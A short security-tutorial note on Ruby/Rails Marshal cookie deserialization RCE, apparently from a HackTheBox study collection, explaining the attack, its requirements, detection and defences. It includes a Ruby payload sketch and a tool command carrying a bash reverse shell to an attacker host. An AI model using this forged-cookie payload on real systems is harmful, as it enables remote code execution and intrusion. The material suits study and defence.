Ruby Marshal Cookie RCE
Marshal cookie RCE abuses Ruby/Rails applications that store the session as an object serialized with Marshal inside the cookie, signed with a secret key. If that key leaks or is the default, you forge a cookie carrying a malicious object: on deserialization, the server runs code.
Why it works. The CookieStore signs the cookie with secret_key_base so nobody can tamper with it, but integrity is not confidentiality: if you know the secret you can sign whatever you want. And with the Marshal serializer (historic in Rails), deserializing attacker-controlled data means building arbitrary objects whose gadget chain ends in command execution. The secret usually shows up in code (secrets.yml, environment variables, an exposed .git repo).
The abuse. With the secret_key_base you generate a signed cookie carrying a Marshal payload.
# build the signed cookie with the leaked secret and an RCE gadget
require 'active_support'
payload = Marshal.dump(gadget) # gadget chain -> system('<cmd>')
# sign with secret_key_base and send it as the session cookie# ready-made tool: rails_secret_deserialization / the metasploit module
ruby rails_secret_deserialization.rb -u http://<ip>/ -s '<secret>' -c 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"'Requirements. The app must use the Marshal serializer (not JSON) and you need the secret_key_base (leaked or default). Modern Rails uses JSON and encrypted cookies, which close this vector.
How to detect it. Session cookies with anomalous payloads (far longer than usual, non-printable Marshal-format bytes \x04\x08) and deserialization errors in the app logs. A WAF can alert on the signature of these gadget chains.
Defence. Rotate and protect the secret_key_base, use the JSON serializer and encrypted cookies, and never commit secrets. It is a cousin of PHP object injection, Node.js deserialization and pickle deserialization: they all turn "reading data" into "creating objects".
Machines where it's used
- LaboratoryHackTheBox